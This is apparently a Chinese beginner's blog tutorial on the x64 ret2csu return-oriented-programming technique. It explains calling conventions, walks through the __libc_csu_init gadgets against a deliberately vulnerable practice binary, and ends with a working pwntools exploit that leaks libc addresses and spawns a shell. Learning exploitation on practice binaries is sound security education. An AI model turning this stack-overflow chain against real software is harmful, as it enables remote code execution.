0x00 前言
畢設和論文要搞吐了,再加上實習駐場事情,近期又要開始準備HW的事情,只能先更新一部分。
0x01 從x86到x64
之前的rop都是32bit的程序,由於這篇文章涉及的方法用於64bit的程序,這裏先說一下兩者的區別,做一下過渡。
首先是寄存器傳參和堆棧傳參的區別,這裏以一個例子說明
在32bit的程序中,如上圖所示,在函數調用前,參數會被依次入棧;然而再64bit的同一個程序中,如下圖所示,在函數調用前,參數會被放入寄存器中。兩者進入函數後都會依照相應的規則去調用對應的參數,這裏說一下x64寄存器使用的順序:分別用rdi,rsi,rdx,rcx,r8,r9作爲第1-6個參數。(如果參數過多會被放在棧中)
再提一個小點,雖然價值不大,對於我這種初學者來說更加深了理解,繼續看
來看read函數,可以發現剛纔說的一樣,傳參一個是棧,一個寄存器。無論是哪種方式,buf參數最終都會讀到棧裏面,不一樣的只不過是buf的中間傳遞介質。
其它的區別這裏就不再展開細說,如果感興趣詳細瞭解請見https://blog.csdn.net/qq_29343201/article/details/51278798
0x02 ret2csu
經過一番知識鋪墊,那麼現在開始進入正題
使用蒸米師傅的例子
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
我們先分析一下再去驗證
題目的前提:
1、X64程序,寄存器傳參
2、程序中找不到system()等可利用函數和"/bin/sh"類似的字符串
3、使用ROPgadget無法找到可利用的片段,具體可以見初探ROP 中的ret2syscall章節
按照以往(上一篇文章)的手法,針對於前提2,我們使用ret2libc進行繞過,具體詳見初探ROP 中的ret2libc章節的第三種情況,但是忽略了一點X64是寄存器傳參,那麼system()或者execve()函數的參數在寄存器保存着,那麼怎麼給寄存器賦予響應的值呢?很簡單,類似ret2syscall手法,進行一系列出棧操作即可(達到mov的目的),但是前提3導致我們搜索不到可利用的片段,似乎山窮水盡了,那麼我們怎麼辦呢?
這個時候就應該尋找新的利用手法,也就是ret2csu,其實就是利用<__libc_csu_init>,ta是在libc.so裏面,一般來說,只要程序調用了libc.so,程序都會有這個函數用來對libc進行初始化操作,可以說是通用gadgets。
來看一下這個神祕的函數
0000000000000760 <__libc_csu_init>:
760: 41 57 push %r15
762: 41 56 push %r14
764: 41 89 ff mov %edi,%r15d
767: 41 55 push %r13
769: 41 54 push %r12
76b: 4c 8d 25 56 06 20 00 lea 0x200656(%rip),%r12
772: 55 push %rbp
773: 48 8d 2d 56 06 20 00 lea 0x200656(%rip),%rbp
77a: 53 push %rbx
77b: 49 89 f6 mov %rsi,%r14
77e: 49 89 d5 mov %rdx,%r13
781: 4c 29 e5 sub %r12,%rbp
784: 48 83 ec 08 sub $0x8,%rsp
788: 48 c1 fd 03 sar $0x3,%rbp
78c: e8 e7 fd ff ff callq 578 <_init>
791: 48 85 ed test %rbp,%rbp
794: 74 20 je 7b6 <__libc_csu_init+0x56>
796: 31 db xor %ebx,%ebx
798: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
79f: 00
7a0: 4c 89 ea mov %r13,%rdx
7a3: 4c 89 f6 mov %r14,%rsi
7a6: 44 89 ff mov %r15d,%edi
7a9: 41 ff 14 dc callq *(%r12,%rbx,8)
7ad: 48 83 c3 01 add $0x1,%rbx
7b1: 48 39 dd cmp %rbx,%rbp
7b4: 75 ea jne 7a0 <__libc_csu_init+0x40>
7b6: 48 83 c4 08 add $0x8,%rsp
7ba: 5b pop %rbx
7bb: 5d pop %rbp
7bc: 41 5c pop %r12
7be: 41 5d pop %r13
7c0: 41 5e pop %r14
7c2: 41 5f pop %r15
7c4: c3 retq
7c5: 90 nop
7c6: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
7cd: 00 00 00
剛纔巴拉巴拉了不少,這裏還是得先明確一下我們使用<__libc_csu_init>的目的:
由於寄存器傳參的特性,我們需要把相應的參數值保存到相應寄存器中供後續函數進行調用,寄存器存參數的順序爲:rdi,rsi,rdx,rcx,r8,r9,所以我們使用此函數的片段來達到控制寄存器得目的。
繼續看此神祕函數,能改變上述寄存器的值是這幾處,如下圖所示:
既然有了可以控制點,那麼就想辦法怎麼去利用?簡單畫一下流程,能夠更好理解是怎麼利用。
能夠通過棧溢出得直接控制點就是幾個出棧得地方,可以發現通過這幾條指令可以完美的控制寄存器得值,然後通過後續程序可以間接控制參數寄存器得值。
因爲gadgets一般選擇ret結尾得片段,這樣可以達到控制程序執行的目的。這裏只要將堆棧中h中值填爲0x7a0,即可繼續執行下一段gadgets,通過mov指令間接控制了rsi,rdx、rdi寄存器
繼續往下看
剛纔通過控制控制rip的值使得程序從mov %r13 %rdx處繼續執行,在②處對兩個參數寄存器進行了傳值,然後進行調用函數,由於callq指令的性質,此函數的地址根據*(%r12,%rbx,8)的值來尋找,也就是找到X的地方進行執行,之後兩次ret進行控制rip寄存器,也就是繼續掌控程序執行的下條指令的位置所在。
通過以上分析,可以發現此ROP鏈能夠完成一個強大的功能,那就是可以完成一個函數的調用。
根據上一篇文章所提到的ret2libc的第三種利用方式,可以通過write或者put等一系列打印性質的函數讀出某個函數的got表內容,從而確定libc中system或者execve等執行性質函數的位置所在,進而達到getshell的目的。
當然這只是理想情況,爲什麼這麼說呢?
回到<__libc_csu_init>中
兩個gadgets之間還有一個jne條狀,也就是說如果ZF=1(%rbx==%rbp),那麼就不會跳轉,按照我們剛纔設計的順序去執行。所以我們再剛纔的基礎上再去控制一下ZF=1即可。簡單陳列一下條件:
一、r13和r12寄存器中需要從棧中讀到所需要參數的位置,進而可以控制rdx和rsi寄存器的值
二、讓rbx的值爲0(當然也可以不爲0,只是這樣構造函數的地址方便),那麼*(%r12,%rbx,8)就成了*%r12,只需要讓r12寄存器從棧中讀到所需要函數的地址即可。
三、爲了讓ZF=1,也就是rbp和rbx寄存器的值相等,既然rbx已經爲0了,通過add指令到達cmp比較時它爲1,因此rbp也需要爲1,讓rbx寄存器從棧中讀取1即可。
以上三個條件完成後,此ROP鏈配合上棧溢出漏洞就可以輕鬆地完成某一函數地調用過程了。
其實明白了ret2csu地原理,上述地例子地做法就很靈活了,我們再來分析:
一、存在棧溢出漏洞
二、可以一條完成任意函數功能的ROP鏈
三、條件二完成,我們依然可以控制程序的執行
有了這三個條件,做法的靈活性就體現出來,比如可以執行完write函數泄露write的GOT表地址後再去執行main()或者_start函數繼續構造棧中內容執行execve達到getshell的目的。
這裏使用上述方法,基礎內容不再贅述,詳細可以見上一篇文章(初探ROP)來了解。
通過gdb調試可以計算出偏移是0x80+0x8
這裏有一點還是盲區:callq *(%r12,%rbx,8)這一指令是間接調用函數,類似於它訪問是一個指針,一個指向真實目的的指針。因爲後續需要調用execve函數,但是我們需要提供指向其地址的指針的地址,所以用bss段的空間進行保存。不再說廢話佔用篇幅了,做一個總結,如果想仔細瞭解,
- List item
歡迎閱讀之前的文章。如下圖所示,確定堆棧上的構造
根據以上構造給出exp(個人不習慣用LibcSearcher)
from pwn import *
level5 = ELF('./level5')
sh = process('./level5')
libc = level5.libc
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x4005e0
csu_end_addr = 0x4005fa
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
print hex(write_addr)
libc.address = write_addr - libc.symbols['write']
execve_addr = libc.symbols['execve']
log.success('execve_addr ' + hex(execve_addr))
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\0')
sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
0x03 尾記
還未入門,詳細記錄每個知識點,爲了能更好地溫故知新,也希望能幫助和我一樣想要入門二進制安全的初學者,如有錯誤,希望大佬們指出。
另見: http://bey0nd.xyz/2020/04/07/1/